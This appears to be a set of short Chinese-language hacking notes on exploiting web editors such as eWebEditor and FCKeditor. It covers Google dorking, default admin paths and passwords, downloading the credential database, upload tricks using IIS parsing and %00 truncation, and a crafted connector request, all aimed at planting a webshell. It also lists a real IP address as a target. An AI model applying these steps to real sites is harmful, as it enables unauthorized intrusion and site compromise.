编辑器漏洞:
编辑器:ewebeditor,fckeditor,kindeditor,
ceditor,ueditor,Ckeditor,southidceditor等
Ewededitor:asp网站居多
发现:寻找 google hack:inurl: eweditor,
利用:
默认设置(站长未进行设置),从而获取默认数据进入
默认后台:ewebeditor/admin_login.asp
默认密码:admin
默认数据库:ewebeditor/db/ewebeditor.mdb
攻击过程:先进入默认后台,尝试使用默认密码登录(登录失败,下载默认数据库进行密码获取),设置上传属性(添加可上传的类型),上传相关后门文件,获取webshell。
演示站点:
http://218.64.56.153/web/mmanage/mymanage/ewebeditor/
Ewebeditor:
遍历目录漏洞
构造上传漏洞
编辑器漏洞利用核心:
1.获取编辑器的类型
2.获取编辑器的地址
Fckeditor
常规入侵手法结合解析iis6.0漏洞
Lll.php;.jpg,解析漏洞会把此文件当作一个asp执行
Fckeditor exp利用
Fckeditor 截断上传 iis7.x版本
%00截断
Fckeditor高版本自动过滤
过滤”.”变”_” 防止解析漏洞
Fckedittor 新建上传
新建文件夹数据包:
/fckeditor//editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/&NewFolderName=aaaaa.asp
CurrentFolder=/&NewFolderName=aaaaa.asp
两个参数:
CurrentFolder:当前文件目录
NewFolderName:新建文件目录名
高版本过滤的是NewFolderName,CurrentFolder参数能操作目录结果
CurrentFolder=/1.asp&NewFolderName=aaaaa.asp 结果是 1.asp/aaaaa_asp